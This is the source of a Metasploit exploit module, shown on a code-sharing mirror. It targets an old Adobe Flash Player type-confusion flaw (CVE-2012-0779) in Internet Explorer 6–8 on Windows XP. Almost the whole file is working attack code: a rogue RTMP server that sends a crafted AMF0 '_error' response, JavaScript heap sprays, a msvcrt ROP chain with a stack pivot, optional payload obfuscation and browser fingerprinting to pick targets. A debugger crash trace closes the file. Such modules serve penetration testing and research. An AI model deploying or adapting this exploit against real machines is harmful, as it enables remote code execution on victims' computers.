Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_flash_rtmp.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::RopDb
11
include Msf::Exploit::Remote::BrowserAutopwn
12
13
autopwn_info({
14
:os_name => OperatingSystems::Match::WINDOWS,
15
:ua_name => HttpClients::IE,
16
:ua_minver => "6.0",
17
:ua_maxver => "8.0",
18
:method => "GetVariable",
19
:classid => "ShockwaveFlash.ShockwaveFlash",
20
:rank => NormalRanking, # reliable memory corruption
21
:javascript => true
22
})
23
24
def initialize(info = {})
25
super(
26
update_info(
27
info,
28
'Name' => "Adobe Flash Player Object Type Confusion",
29
'Description' => %q{
30
This module exploits a vulnerability found in Adobe Flash
31
Player. By supplying a corrupt AMF0 "_error" response, it
32
is possible to gain arbitrary remote code execution under
33
the context of the user.
34
35
This vulnerability has been exploited in the wild as part of
36
the "World Uyghur Congress Invitation.doc" e-mail attack.
37
According to the advisory, 10.3.183.19 and 11.x before
38
11.2.202.235 are affected.
39
},
40
'License' => MSF_LICENSE,
41
'Author' => [
42
'sinn3r', # Metasploit module
43
'juan vazquez' # Metasploit module
44
],
45
'References' => [
46
[ 'CVE', '2012-0779' ],
47
[ 'OSVDB', '81656'],
48
[ 'BID', '53395' ],
49
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
50
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ],
51
[ 'URL', 'https://www.rapid7.com/blog/post/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ]
52
],
53
'Payload' => {
54
# 'Space' => 1024,
55
'BadChars' => "\x00"
56
},
57
'DefaultOptions' => {
58
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
59
},
60
'Platform' => 'win',
61
'Targets' => [
62
# Flash Player 11.2.202.228
63
[ 'Automatic', {} ],
64
[
65
'IE 6 on Windows XP SP3',
66
{
67
'Rop' => nil,
68
'RandomHeap' => false,
69
'Offset' => '0x0'
70
}
71
],
72
[
73
'IE 7 on Windows XP SP3',
74
{
75
'Rop' => nil,
76
'RandomHeap' => false,
77
'Offset' => '0x0'
78
}
79
],
80
[
81
'IE 8 on Windows XP SP3 with msvcrt ROP',
82
{
83
'Rop' => :msvcrt,
84
'RandomHeap' => false,
85
'Offset' => '238',
86
'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
87
}
88
]
89
],
90
'Privileged' => false,
91
'DisclosureDate' => '2012-05-04',
92
'DefaultTarget' => 0,
93
'Notes' => {
94
'Reliability' => UNKNOWN_RELIABILITY,
95
'Stability' => UNKNOWN_STABILITY,
96
'SideEffects' => UNKNOWN_SIDE_EFFECTS
97
}
98
)
99
)
100
101
register_options(
102
[
103
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
104
OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
105
OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),
106
], self.class
107
)
108
end
109
110
def get_target(agent)
111
# If the user is already specified by the user, we'll just use that
112
return target if target.name != 'Automatic'
113
114
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
115
return targets[1] # IE 6 on Windows XP SP3
116
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
117
return targets[2] # IE 7 on Windows XP SP3
118
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
119
return targets[3] # IE 8 on Windows XP SP3
120
else
121
return nil
122
end
123
end
124
125
def ret(t)
126
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
127
end
128
129
def get_rop_chain(t)
130
print_status("Using msvcrt ROP")
131
p = "\xbc\x0c\x0c\x0c\x0c" # mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
132
p << payload.encoded
133
134
code = ret(t)
135
code << rand_text(119)
136
code << generate_rop_payload('msvcrt', p, { 'target' => 'xp' })
137
offset = 2616 - code.length
138
code << rand_text(offset)
139
code << [ t['StackPivot'] ].pack("V")
140
return code
141
end
142
143
def get_easy_spray(t, js_code, js_nops)
144
randnop = rand_text_alpha(rand(100) + 1)
145
146
spray = <<-JS
147
var heap_obj = new heapLib.ie(0x20000);
148
var code = unescape("#{js_code}");
149
var #{randnop} = "#{js_nops}";
150
var nops = unescape(#{randnop});
151
152
while (nops.length < 0x80000) nops += nops;
153
154
var offset = nops.substring(0, #{t['Offset']});
155
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
156
157
while (shellcode.length < 0x40000) shellcode += shellcode;
158
var block = shellcode.substring(0, (0x80000-6)/2);
159
160
161
heap_obj.gc();
162
for (var z=1; z < 0x185; z++) {
163
heap_obj.alloc(block);
164
}
165
166
JS
167
168
return spray
169
end
170
171
def get_aligned_spray(t, js_rop, js_nops)
172
randnop = rand_text_alpha(rand(100) + 1)
173
174
spray = <<-JS
175
176
var heap_obj = new heapLib.ie(0x20000);
177
var #{randnop} = "#{js_nops}";
178
var nops = unescape(#{randnop});
179
var rop_chain = unescape("#{js_rop}");
180
181
while (nops.length < 0x80000) nops += nops;
182
183
var offset = nops.substring(0, #{t['Offset']});
184
var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);
185
186
187
while (shellcode.length < 0x40000) shellcode += shellcode;
188
var block = shellcode.substring(0, (0x80000-6)/2);
189
190
191
heap_obj.gc();
192
for (var z=1; z < 0x1c5; z++) {
193
heap_obj.alloc(block);
194
}
195
196
JS
197
198
return spray
199
end
200
201
def exploit
202
@swf = create_swf
203
204
# Boilerplate required to handled pivoted listeners
205
comm = datastore['ListenerComm']
206
if comm == "local"
207
comm = ::Rex::Socket::Comm::Local
208
else
209
comm = nil
210
end
211
212
@rtmp_listener = Rex::Socket::TcpServer.create(
213
'LocalHost' => datastore['RTMPHOST'],
214
'LocalPort' => datastore['RTMPPORT'],
215
'Comm' => comm,
216
'Context' => {
217
'Msf' => framework,
218
'MsfExploit' => self,
219
}
220
)
221
222
# Register callbacks
223
@rtmp_listener.on_client_connect_proc = Proc.new { |cli|
224
add_socket(cli)
225
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
226
on_rtmp_connect(cli)
227
}
228
229
@rtmp_listener.start
230
231
super
232
end
233
234
def my_read(cli, size, timeout = nil)
235
if timeout.nil?
236
timeout = cli.def_read_timeout
237
end
238
239
buf = ""
240
::Timeout::timeout(timeout) {
241
while buf.length < size
242
buf << cli.get_once(size - buf.length)
243
end
244
}
245
buf
246
end
247
248
def do_handshake(cli)
249
c0 = my_read(cli, 1)
250
c1 = my_read(cli, 1536) # HandshakeSize => 1536
251
s0 = "\3" # s0
252
s1 = Rex::Text.rand_text(4) # s1.time
253
s1 << "\x00\x00\x00\x00" # s1.zero
254
s1 << Rex::Text.rand_text(1528) # s1.random_data
255
s2 = c1 # s2
256
cli.put(s0)
257
cli.put(s1)
258
cli.put(s2)
259
c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
260
end
261
262
def on_rtmp_connect(cli)
263
begin
264
do_handshake(cli)
265
request = my_read(cli, 341) # connect request length
266
267
case request
268
when /connect/
269
rtmp_header = "\x03" # Chunk Stream ID
270
rtmp_header << "\x00\x00\x00" # Timestamp
271
rtmp_header << "\x00\x00\x71" # Body Size
272
rtmp_header << "\x14" # AMF0 Command
273
rtmp_header << "\x00\x00\x00\x00" # Stream ID
274
275
# String
276
rtmp_body = "\x02" # String
277
rtmp_body << "\x00\x06" # String length
278
rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
279
# Number
280
rtmp_body << "\x00" # AMF Type: Number
281
rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
282
# Array
283
rtmp_body << "\x0a" # AMF Type: Array
284
rtmp_body << "\x00\x00\x00\x05" # Array length: 5
285
# Array elements
286
rtmp_body << "\x00" # AMF Type: Number
287
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
288
rtmp_body << "\x00" # AMF Type: Number
289
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
290
rtmp_body << "\x00" # AMF Type: Number
291
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
292
rtmp_body << "\x00" # AMF Type: Number
293
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
294
rtmp_body << "\x00" # AMF Type: Number
295
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
296
# Crafter Number
297
rtmp_body << "\x00" # AMF Type: Number
298
rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
299
# Number
300
rtmp_body << "\x00" # AMF Type: Number
301
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
302
# Number
303
rtmp_body << "\x00" # AMF Type: Number
304
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
305
# Number
306
rtmp_body << "\x00" # AMF Type: Number
307
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
308
# Number
309
rtmp_body << "\x00" # AMF Type: Number
310
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
311
312
trigger = rtmp_header
313
trigger << rtmp_body
314
315
cli.put(trigger)
316
@rtmp_listener.close_client(cli)
317
end
318
rescue
319
ensure
320
@rtmp_listener.close_client(cli)
321
remove_socket(cli)
322
end
323
end
324
325
def cleanup
326
super
327
return if not @rtmp_listener
328
329
begin
330
@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
331
if @rtmp_listener.kind_of?(Rex::Socket)
332
@rtmp_listener.close
333
@rtmp_listener.stop
334
end
335
@rtmp_listener = nil
336
rescue ::Exception
337
end
338
end
339
340
def on_request_uri(cli, request)
341
agent = request.headers['User-Agent']
342
my_target = get_target(agent)
343
344
# Avoid the attack if the victim doesn't have the same setup we're targeting
345
if my_target.nil?
346
print_error("Browser not supported: #{agent}")
347
send_not_found(cli)
348
return
349
end
350
351
print_status("Client requesting: #{request.uri}")
352
353
if request.uri =~ /\.swf$/
354
print_status("Sending Exploit SWF")
355
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
356
return
357
end
358
359
p = payload.encoded
360
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
361
js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch))
362
363
if not my_target['Rop'].nil?
364
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
365
js = get_aligned_spray(my_target, js_rop, js_nops)
366
else
367
js = get_easy_spray(my_target, js_code, js_nops)
368
end
369
370
js = heaplib(js, { :noobfu => true })
371
372
if datastore['OBFUSCATE']
373
js = ::Rex::Exploitation::JSObfu.new(js)
374
js.obfuscate(memory_sensitive: true)
375
end
376
377
swf_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource
378
swf_uri << "/#{rand_text_alpha(rand(6) + 3)}.swf"
379
380
if datastore['RTMPHOST'] == '0.0.0.0'
381
rtmp_host = Rex::Socket.source_address('1.2.3.4')
382
else
383
rtmp_host = datastore['RTMPHOST']
384
end
385
386
rtmp_port = datastore['RTMPPORT']
387
388
html = %Q|
389
<html>
390
<head>
391
<script>
392
#{js}
393
</script>
394
</head>
395
<body>
396
<center>
397
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
398
id="test" width="1" height="1"
399
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
400
<param name="movie" value="#{swf_uri}" />
401
<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
402
<embed src="#{swf_uri}" quality="high"
403
width="1" height="1" name="test" align="middle"
404
allowNetworking="all"
405
type="application/x-shockwave-flash"
406
pluginspage="http://www.macromedia.com/go/getflashplayer"
407
FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
408
</embed>
409
410
</object>
411
</center>
412
413
</body>
414
</html>
415
|
416
417
html = html.gsub(/^ {4}/, '')
418
419
print_status("Sending html")
420
send_response(cli, html, { 'Content-Type' => 'text/html' })
421
end
422
423
def create_swf
424
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2012-0779.swf")
425
fd = ::File.open(path, "rb")
426
swf = fd.read(fd.stat.size)
427
fd.close
428
429
return swf
430
end
431
end
432
433
=begin
434
435
* Flash Player 11.2.202.228
436
437
(348.540): Access violation - code c0000005 (first chance)
438
First chance exceptions are reported before any exception handling.
439
This exception may be expected and handled.
440
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
441
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
442
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
443
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
444
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
445
ds:0023:44444470=????????
446
447
0:000> u eip
448
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
449
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
450
104b1b30 53 push ebx
451
104b1b31 ffd0 call eax
452
453
=end
454
455